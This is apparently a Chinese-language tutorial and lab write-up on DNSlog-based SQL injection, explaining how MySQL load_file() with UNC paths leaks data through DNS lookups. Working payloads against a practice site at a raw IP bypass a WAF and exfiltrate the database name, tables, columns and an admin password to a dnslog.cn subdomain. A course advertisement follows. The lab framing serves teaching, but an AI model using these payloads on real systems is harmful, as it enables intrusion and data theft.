DNS注入原理
通过子查询，将内容拼接到域名内，让load_file()去访问共享文件，访问的域名被记录此时变为显错注入,将盲注变显错注入,读取远程共享文件，通过拼接出函数做查询,拼接到域名中，访问时将访问服务器，记录后查看日志。
DNS注入利用的场景
在无法直接利用的情况下，但是可以通过DNS请求,通过DNSlog，把数据外带，用DNS解析记录查看。
DNSLOG的使用场景
在某些无法直接利用漏洞获得回显的情况下，但是目标可以发起请求，这个时候就可以通过DNS请求把想获得的数据外带出来。
对于sql盲注，常见的方法就是二分法去一个个猜，但是这样的方法麻烦不说，还很容易因为数据请求频繁导致被ban。
所以可以将select到的数据发送给一个url，利用dns解析产生的记录日志来查看数据。
DNSLOG的函数解析
LOAD_FILE() 读取文件的函数
读取文件并返回文件内容为字符串。
要使用此函数，文件必须位于服务器主机上，必须指定完整路径的文件，而且必须有FILE权限。该文件所有字节可读，但文件内容必须小于max_allowed_packet（限制server接受的数据包大小函数，默认1MB）。 如果该文件不存在或无法读取，因为前面的条件之一不满足，函数返回 NULL。
注：这个功能不是默认开启的，需要在mysql配置文件加一句 secure_file_priv=
DNSLOG平台:
https://dns.xn–9tr.com/
https://log.xn–9tr.com/
UNC路径
UNC路径通用命名规则，也称通用命名规范、通用命名约定，类似\\softer这样的形式的网络路径。
UNC路径的格式：\\server\sharename\directory\filename
等同于SELECT LOAD_FILE(‘//库名.1806dl.dnslog.cn/abc’
去访问 库名.1806dl.dnslog.cn 的服务器下的共享文件夹abc。
然后1806dl.dnslog.cn的子域名的解析都是在某台服务器，然后他记录下来了有人请求访问了error.1806dl.dnslog.cn，然后在DnsLog这个平台上面显示出来了
DNS注入实战
网址：http://59.63.200.79:8014/index3.php
1.传参id=1，WAF拦截。
绕WAF的简单方法：
- 各种编码绕过
- 字母大小写转换绕过
- 空格过滤绕过
- 双关键字绕过
- 内联注释绕过
这里加了个2.txt，来绕过waf。
WEB容器的特性：
apache 他会对index3.php/2.txt请求文件不存在，他会请求前一个。
2.判断注入点
**http://59.63.200.79:8014/index3.php/2.txt?id=1 and 1=1**用户输入的数据被当作SQL代码执行了，存在SQL注入。
3. 判断当前页面字段总数
http://59.63.200.79:8014/index3.php/2.txt?id=1%20%20order%20by%202 页面正常
http://59.63.200.79:8014/index3.php/2.txt?id=1%20%20order%20by%203 页面不正常
======》字段数为2。
4.查当前数据库
/2.txt?id=1 and load_file(concat(‘//’, database(),‘.htleyd.dnslog.cn/abc’))
======》得到库名mangzhu。
5.查表名
/2.txt?id=1 and load_file(concat(‘//’, (select table_name from information_schema.tables where table_schema=database() limit 0,1 ),‘.htleyd.dnslog.cn/abc’))
======》得到表名 admin
6.查列名
/2.txt?id=1 and load_file(concat(‘//‘,(select column_name from information_schema.columns where table_name=’admin’ and table_schema=database() limit 2,1),‘.htleyd.dnslog.cn/abc’))
======》得到列名password。
7.查字段内容
/2.txt?id=1 and load_file(concat(‘//‘,(select password from admin limit 0,1),‘.htleyd.dnslog.cn/abc’))
======》得到FLAG1flag1good1。
学习资源
如果你是也准备转行学习网络安全（黑客）或者正在学习，这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你
知识库由360智榜样学习中心独家打造出品，旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力，熟练掌握基础攻防到深度对抗。
1、知识库价值
深度： 本知识库超越常规工具手册，深入剖析攻击技术的底层原理与高级防御策略，并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等，提供了独到的技术视角和实战验证过的对抗方案。
广度： 面向企业安全建设的核心场景（渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营），本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点，是应对复杂攻防挑战的实用指南。
实战性： 知识库内容源于真实攻防对抗和大型演练实践，通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。
2、 部分核心内容展示
360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式，既夯实基础技能，更深入高阶对抗技术。
360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式，既夯实基础技能，更深入高阶对抗技术。
内容组织紧密结合攻防场景，辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合，是你学习过程中好帮手。
1、网络安全意识
2、Linux操作系统
3、WEB架构基础与HTTP协议
4、Web渗透测试
5、渗透测试案例分享
6、渗透测试实战技巧
7、攻防对战实战
8、CTF之MISC实战讲解
3、适合学习的人群
一、基础适配人群
- 零基础转型者：适合计算机零基础但愿意系统学习的人群，资料覆盖从网络协议、操作系统到渗透测试的完整知识链；
- 开发/运维人员：具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能，实现职业方向拓展或者转行就业；
- 应届毕业生：计算机相关专业学生可通过资料构建完整的网络安全知识体系，缩短企业用人适应期；
二、能力提升适配
1、技术爱好者：适合对攻防技术有强烈兴趣，希望掌握漏洞挖掘、渗透测试等实战技能的学习者；
2、安全从业者：帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力；
3、合规需求者：包含等保规范、安全策略制定等内容，适合需要应对合规审计的企业人员；
因篇幅有限，仅展示部分资料，完整版的网络安全学习资料已经上传CSDN，朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】
